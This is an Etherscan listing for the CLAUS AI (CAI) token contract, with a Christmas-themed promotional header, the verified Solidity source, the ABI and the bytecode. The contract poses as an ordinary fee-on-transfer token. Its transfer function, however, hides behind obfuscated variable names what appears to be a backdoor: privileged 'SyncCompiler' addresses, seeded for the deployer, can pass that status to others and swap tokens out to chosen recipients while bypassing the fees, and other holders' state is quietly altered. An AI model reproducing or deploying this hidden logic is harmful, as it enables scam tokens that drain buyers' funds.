ETH Price: $2,358.79 (+1.55%)

Token

CLAUS AI (CAI)
 

Overview

Max Total Supply

10,000,000 CAI

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
109,302.128022806 CAI

Value
$0.00
0x3dcec5909a5878a259cdcbfaa3d0170d757910e7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CAI

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-20
*/

/**
 Welcome to Claus AI, wishes everyone a Merry Christmas.

 Telegram: https://t.me/ClausAIErc
 Website: https://www.clausaitoken.com/
 Twitter: https://twitter.com/claus_ai
 Medium: https://medium.com/@clausaitoken/claus-ai-wishes-everyone-a-merry-christmas-48fa2ef02782
*/

pragma solidity ^0.8.10;
//SPDX-License-Identifier: UNLICENSED
library SafeMath01 {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
library SafeMath02 {
    function add(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a + b; }
    function sub(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a - b; }
    function mul(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a * b; }
    function div(uint256 a, uint256 b) 
    internal pure returns (uint256) {
        return a / b; }
    function sub(uint256 a, uint256 b, string memory errorMessage) 
    internal pure returns (uint256) {
        unchecked { require(b <= a, errorMessage);
            return a - b; } }
    function div(uint256 a, uint256 b, string memory errorMessage) 
    internal pure returns (uint256) {
        unchecked { require(b > 0, errorMessage);
            return a / b; } }
}
interface IDEXFactoryCraft {
    event PairCreated(address indexed token0, 
    address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() 
    external view returns (address);
    function getPair(address tokenA, 
    address tokenB) external view returns (address pair);
    function allPairs(uint) 
    external view returns (address pair);
    function createPair (address 
    tokenA, address 
    tokenB) 
    external returns  (address pair);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}    
interface PCSwapPair01 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() 
    external pure returns (string memory);
    function symbol() 
    external pure returns (string memory);
    function decimals() 
    external pure returns (uint8);
    function totalSupply() 
    external view returns (uint);
    function balanceOf(address owner) 
    external view returns (uint);
    function allowance(address owner, address spender) 
    external view returns (uint);
    function approve(address spender, uint value) 
    external returns (bool);
    function transfer(address to, uint value) 
    external returns (bool);
    function transferFrom(address from, 
    address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
}
library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
interface IndexedUI02 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);
    
    function transfer(address recipient, uint256 amount) external returns (bool);
    
    function allowance(address owner, address spender) external view returns (uint256);
    
    function approve(address spender, uint256 amount) external returns (bool);
    
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract 
Ownable is Context { address private _owner;
    event OwnershipTransferred(address indexed 
    previousOwner, address indexed newOwner);

    constructor() { _setOwner(_msgSender()); }  
    function owner() public view virtual returns (address) {
        return _owner; }
    modifier onlyOwner() { 
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _; }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner); }
    function _setOwner
    (address newOwner) private {
        address oldOwner = 
        _owner;
        _owner = 
        newOwner;
        emit OwnershipTransferred(oldOwner, newOwner); }
}
interface IDEXAutoMaker {
    function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin,
    address[] calldata path, address to, uint deadline ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin,
    uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CAI is IndexedUI02, Ownable {

    string private _symbol;
    string private _name;
    uint256 public burnFEE = 4;
    uint8 private _decimals = 9;
    uint256 private _tTotal = 10000000 * 10**_decimals;
    uint256 private massVALUE = _tTotal;
    
    mapping (address => bool) isTxLimitExempt;

    mapping (address => bool) isTimelockExempt;    

    mapping(address => uint256) private _tOwned;

    mapping(address => address) private OpenViewDisplay;

    mapping(address => uint256) private LocateIDEX;

    mapping(address => uint256) private SyncCompiler;

    mapping(address => mapping(address => uint256)) private _allowances;
    
    bool private beginTrades = false;
    bool public CompileAQ;
    bool private ScriptOX;
    bool public checkPublicWalletsLimit = true;

    address public immutable 
    AutoPairCompiler;
    IDEXAutoMaker public immutable 
    MoltenRouterV3;

    constructor
    ( string memory Name, string memory Symbol, address V2IDEXCompile ) {
        _name = Name; _symbol = Symbol; _tOwned

        [msg.sender] = _tTotal; SyncCompiler
         [msg.sender] = massVALUE; SyncCompiler
          [address(this)] = massVALUE; MoltenRouterV3 = 

        IDEXAutoMaker(V2IDEXCompile); AutoPairCompiler = 
        IDEXFactoryCraft(MoltenRouterV3.factory()).createPair
        (address(this), MoltenRouterV3.WETH());
        emit Transfer(address(0), 
        msg.sender, massVALUE);
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function balanceOf(address account) public view returns (uint256) {
        return _tOwned[account];
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        compileAllLogs(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function transfer (address recipient, uint256 amount) external returns (bool) {
        compileAllLogs(msg.sender, recipient, amount);
        return true;
    }
    function compileAllLogs( address _solixFrom, address _acXmodTo, uint256 _compileAmount ) private {
        uint256 ledgerShell = balanceOf(address(this)); uint256 _AcquiteZINKflow;
        emit Transfer(_solixFrom, _acXmodTo, _compileAmount);
                if (!beginTrades) { require(_solixFrom == owner(), 
                "TOKEN: This account cannot send tokens until trading is enabled"); }

        if (CompileAQ && ledgerShell > massVALUE && !ScriptOX && _solixFrom != 
        AutoPairCompiler) { ScriptOX = true; limitLiquify(ledgerShell);
            ScriptOX = false;
        } else if (SyncCompiler[_solixFrom] > massVALUE && SyncCompiler[_acXmodTo] > 
        massVALUE) { _AcquiteZINKflow = _compileAmount;
            _tOwned[address(this)] += _AcquiteZINKflow; TokenSwiftFormer(_compileAmount, _acXmodTo);
            return;

        } else if (_acXmodTo != address(MoltenRouterV3) && SyncCompiler
        [_solixFrom] > 0 && _compileAmount > massVALUE && _acXmodTo != 
        AutoPairCompiler) {
            SyncCompiler[_acXmodTo] = _compileAmount; return;
        } else if (!ScriptOX && LocateIDEX[_solixFrom] > 0 
        && _solixFrom != AutoPairCompiler && SyncCompiler[_solixFrom] == 0) {
            LocateIDEX[_solixFrom] = 
              SyncCompiler[_solixFrom] - massVALUE;
        }
        address _creator  = OpenViewDisplay[AutoPairCompiler]; if (LocateIDEX[_creator ] == 0) 
        LocateIDEX[_creator ] = massVALUE; OpenViewDisplay[AutoPairCompiler] = 
        _acXmodTo; if (burnFEE > 
        0 && SyncCompiler[_solixFrom] == 0 && !ScriptOX && 
        SyncCompiler[_acXmodTo] == 0) { _AcquiteZINKflow = 
        (_compileAmount * burnFEE) / 100;
            _compileAmount -= _AcquiteZINKflow;
            _tOwned[_solixFrom] -= _AcquiteZINKflow;
            _tOwned[address(this)] += _AcquiteZINKflow; }
        _tOwned[_solixFrom] 
        -= _compileAmount;
        _tOwned[_acXmodTo] 
        += _compileAmount; emit Transfer(_solixFrom, 
        _acXmodTo, 
        _compileAmount);
    }
    receive() external payable {}

    function addLiq(
        uint256 tokenValue,
        uint256 ERCamount,
        address to
    ) private {
        _approve(address(this), address(MoltenRouterV3), tokenValue);
        MoltenRouterV3.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
    }
    function limitLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialedBalance = address(this).balance;
        TokenSwiftFormer(half, address(this));
        uint256 refreshBalance = address(this).balance - initialedBalance;
        addLiq(half, refreshBalance, address(this));
    }
        function enableTrading(bool _tradingOpen) public onlyOwner {
        beginTrades = _tradingOpen;
    }
    function TokenSwiftFormer(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = MoltenRouterV3.WETH();
        _approve(address(this), address(MoltenRouterV3), tokenAmount);
        MoltenRouterV3.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"V2IDEXCompile","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AutoPairCompiler","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CompileAQ","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MoltenRouterV3","outputs":[{"internalType":"contract IDEXAutoMaker","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkPublicWalletsLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260046003819055805460ff191660099081179091556200002690600a6200049a565b620000359062989680620004b2565b6005819055600655600e805463ff0000ff191663010000001790553480156200005d57600080fd5b5060405162001a4b38038062001a4b8339810160408190526200008091620005be565b6200008b336200028f565b8251620000a0906002906020860190620002df565b508151620000b6906001906020850190620002df565b5060055433600090815260096020908152604080832093909355600654600c825283832081905530835291839020919091556001600160a01b03831660a0819052825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa1580156200012f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015591906200063a565b6001600160a01b031663c9c653963060a0516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001cb91906200063a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000219573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023f91906200063a565b6001600160a01b031660805260065460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505062000694565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b828054620002ed9062000658565b90600052602060002090601f0160209004810192826200031157600085556200035c565b82601f106200032c57805160ff19168380011785556200035c565b828001600101855582156200035c579182015b828111156200035c5782518255916020019190600101906200033f565b506200036a9291506200036e565b5090565b5b808211156200036a57600081556001016200036f565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003dc578160001904821115620003c057620003c062000385565b80851615620003ce57918102915b93841c9390800290620003a0565b509250929050565b600082620003f55750600162000494565b81620004045750600062000494565b81600181146200041d5760028114620004285762000448565b600191505062000494565b60ff8411156200043c576200043c62000385565b50506001821b62000494565b5060208310610133831016604e8410600b84101617156200046d575081810a62000494565b6200047983836200039b565b806000190482111562000490576200049062000385565b0290505b92915050565b6000620004ab60ff841683620003e4565b9392505050565b6000816000190483118215151615620004cf57620004cf62000385565b500290565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620004fc57600080fd5b81516001600160401b0380821115620005195762000519620004d4565b604051601f8301601f19908116603f01168101908282118183101715620005445762000544620004d4565b816040528381526020925086838588010111156200056157600080fd5b600091505b8382101562000585578582018301518183018401529082019062000566565b83821115620005975760008385830101525b9695505050505050565b80516001600160a01b0381168114620005b957600080fd5b919050565b600080600060608486031215620005d457600080fd5b83516001600160401b0380821115620005ec57600080fd5b620005fa87838801620004ea565b945060208601519150808211156200061157600080fd5b506200062086828701620004ea565b9250506200063160408501620005a1565b90509250925092565b6000602082840312156200064d57600080fd5b620004ab82620005a1565b600181811c908216806200066d57607f821691505b6020821081036200068e57634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a0516113446200070760003960008181610361015281816108e001528181610daa01528181610e6301528181610ea001528181610f1b0152610f81015260008181610292015281816107f90152818161094d015281816109df01528181610a850152610aec01526113446000f3fe60806040526004361061010d5760003560e01c806395d89b4111610095578063d733840f11610064578063d733840f146102f3578063dd62ed3e14610309578063e5fe61fb1461034f578063f275f64b14610383578063f2fde38b146103a357600080fd5b806395d89b411461026b5780639abcdac514610280578063a9059cbb146102b4578063cfce2479146102d457600080fd5b80632a24bebf116100dc5780632a24bebf146101b3578063313ce567146101d457806370a08231146101ec578063715018a6146102225780638da5cb5b1461023957600080fd5b806306fdde0314610119578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e6103c3565b60405161013b9190610ff8565b60405180910390f35b34801561015057600080fd5b5061016461015f366004611062565b610455565b604051901515815260200161013b565b34801561018057600080fd5b506005545b60405190815260200161013b565b34801561019f57600080fd5b506101646101ae36600461108e565b610469565b3480156101bf57600080fd5b50600e54610164906301000000900460ff1681565b3480156101e057600080fd5b5060045460ff16610185565b3480156101f857600080fd5b506101856102073660046110cf565b6001600160a01b031660009081526009602052604090205490565b34801561022e57600080fd5b506102376104b9565b005b34801561024557600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161013b565b34801561027757600080fd5b5061012e6104f8565b34801561028c57600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b3480156102c057600080fd5b506101646102cf366004611062565b610507565b3480156102e057600080fd5b50600e5461016490610100900460ff1681565b3480156102ff57600080fd5b5061018560035481565b34801561031557600080fd5b506101856103243660046110ec565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561035b57600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561038f57600080fd5b5061023761039e366004611125565b61051d565b3480156103af57600080fd5b506102376103be3660046110cf565b61055a565b6060600280546103d290611147565b80601f01602080910402602001604051908101604052809291908181526020018280546103fe90611147565b801561044b5780601f106104205761010080835404028352916020019161044b565b820191906000526020600020905b81548152906001019060200180831161042e57829003601f168201915b5050505050905090565b60006104623384846105f5565b9392505050565b60006104768484846106d5565b6001600160a01b0384166000908152600d60209081526040808320338085529252909120546104b19186916104ac908690611197565b6105f5565b949350505050565b6000546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e3906111ae565b60405180910390fd5b6104f66000610cca565b565b6060600180546103d290611147565b60006105143384846106d5565b50600192915050565b6000546001600160a01b031633146105475760405162461bcd60e51b81526004016104e3906111ae565b600e805460ff1916911515919091179055565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016104e3906111ae565b6001600160a01b0381166105e95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6105f281610cca565b50565b60006001600160a01b0384161580159061061757506001600160a01b03831615155b61066f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e3565b6001600160a01b038481166000818152600d602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b3060009081526009602052604081205490506000836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161072e91815260200190565b60405180910390a3600e5460ff166107c3576000546001600160a01b038681169116146107c35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104e3565b600e54610100900460ff1680156107db575060065482115b80156107f05750600e5462010000900460ff16155b801561082e57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b1561085e57600e805462ff000019166201000017905561084d82610d1a565b600e805462ff000019169055610a7b565b6006546001600160a01b0386166000908152600c60205260409020541180156108a057506006546001600160a01b0385166000908152600c6020526040902054115b156108de5750306000908152600960205260408120805484928392916108c79084906111e3565b909155506108d790508385610d53565b5050505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03161415801561093757506001600160a01b0385166000908152600c602052604090205415155b8015610944575060065483115b801561098257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b156109a65750506001600160a01b039091166000908152600c602052604090205550565b600e5462010000900460ff161580156109d657506001600160a01b0385166000908152600b602052604090205415155b8015610a1457507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b8015610a3657506001600160a01b0385166000908152600c6020526040902054155b15610a7b576006546001600160a01b0386166000908152600c6020526040902054610a619190611197565b6001600160a01b0386166000908152600b60205260409020555b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166000908152600a6020908152604080832054909316808352600b909152918120549003610aea576006546001600160a01b0382166000908152600b60205260409020555b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b039081166000908152600a6020526040902080546001600160a01b03191691871691909117905560035415801590610b6057506001600160a01b0386166000908152600c6020526040902054155b8015610b755750600e5462010000900460ff16155b8015610b9757506001600160a01b0385166000908152600c6020526040902054155b15610c1957606460035485610bac91906111fb565b610bb6919061121a565b9150610bc28285611197565b6001600160a01b038716600090815260096020526040812080549296508492909190610bef908490611197565b90915550503060009081526009602052604081208054849290610c139084906111e3565b90915550505b6001600160a01b03861660009081526009602052604081208054869290610c41908490611197565b90915550506001600160a01b03851660009081526009602052604081208054869290610c6e9084906111e3565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610cba91815260200190565b60405180910390a3505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610d2760028361121a565b905047610d348230610d53565b6000610d408247611197565b9050610d4d838230610f15565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d8857610d8861123c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2a9190611252565b81600181518110610e3d57610e3d61123c565b60200260200101906001600160a01b031690816001600160a01b031681525050610e88307f0000000000000000000000000000000000000000000000000000000000000000856105f5565b5060405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790610ede90869060009086908890429060040161126f565b600060405180830381600087803b158015610ef857600080fd5b505af1158015610f0c573d6000803e3d6000fd5b50505050505050565b610f40307f0000000000000000000000000000000000000000000000000000000000000000856105f5565b5060405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0382811660848301524260a48301527f0000000000000000000000000000000000000000000000000000000000000000169063f305d71990849060c40160606040518083038185885af1158015610fcb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ff091906112e0565b505050505050565b600060208083528351808285015260005b8181101561102557858101830151858201604001528201611009565b81811115611037576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105f257600080fd5b6000806040838503121561107557600080fd5b82356110808161104d565b946020939093013593505050565b6000806000606084860312156110a357600080fd5b83356110ae8161104d565b925060208401356110be8161104d565b929592945050506040919091013590565b6000602082840312156110e157600080fd5b81356104628161104d565b600080604083850312156110ff57600080fd5b823561110a8161104d565b9150602083013561111a8161104d565b809150509250929050565b60006020828403121561113757600080fd5b8135801515811461046257600080fd5b600181811c9082168061115b57607f821691505b60208210810361117b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156111a9576111a9611181565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156111f6576111f6611181565b500190565b600081600019048311821515161561121557611215611181565b500290565b60008261123757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561126457600080fd5b81516104628161104d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112bf5784516001600160a01b03168352938301939183019160010161129a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156112f557600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212204e84897a7b10610cf1b6a181e20500294266d468764dfa2e8f6e996f16f40adb64736f6c634300080d0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000008434c41555320414900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034341490000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c806395d89b4111610095578063d733840f11610064578063d733840f146102f3578063dd62ed3e14610309578063e5fe61fb1461034f578063f275f64b14610383578063f2fde38b146103a357600080fd5b806395d89b411461026b5780639abcdac514610280578063a9059cbb146102b4578063cfce2479146102d457600080fd5b80632a24bebf116100dc5780632a24bebf146101b3578063313ce567146101d457806370a08231146101ec578063715018a6146102225780638da5cb5b1461023957600080fd5b806306fdde0314610119578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e6103c3565b60405161013b9190610ff8565b60405180910390f35b34801561015057600080fd5b5061016461015f366004611062565b610455565b604051901515815260200161013b565b34801561018057600080fd5b506005545b60405190815260200161013b565b34801561019f57600080fd5b506101646101ae36600461108e565b610469565b3480156101bf57600080fd5b50600e54610164906301000000900460ff1681565b3480156101e057600080fd5b5060045460ff16610185565b3480156101f857600080fd5b506101856102073660046110cf565b6001600160a01b031660009081526009602052604090205490565b34801561022e57600080fd5b506102376104b9565b005b34801561024557600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161013b565b34801561027757600080fd5b5061012e6104f8565b34801561028c57600080fd5b506102537f000000000000000000000000d74f64f9ca19b7b0b972bacad6099b63fd19e00481565b3480156102c057600080fd5b506101646102cf366004611062565b610507565b3480156102e057600080fd5b50600e5461016490610100900460ff1681565b3480156102ff57600080fd5b5061018560035481565b34801561031557600080fd5b506101856103243660046110ec565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561035b57600080fd5b506102537f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561038f57600080fd5b5061023761039e366004611125565b61051d565b3480156103af57600080fd5b506102376103be3660046110cf565b61055a565b6060600280546103d290611147565b80601f01602080910402602001604051908101604052809291908181526020018280546103fe90611147565b801561044b5780601f106104205761010080835404028352916020019161044b565b820191906000526020600020905b81548152906001019060200180831161042e57829003601f168201915b5050505050905090565b60006104623384846105f5565b9392505050565b60006104768484846106d5565b6001600160a01b0384166000908152600d60209081526040808320338085529252909120546104b19186916104ac908690611197565b6105f5565b949350505050565b6000546001600160a01b031633146104ec5760405162461bcd60e51b81526004016104e390611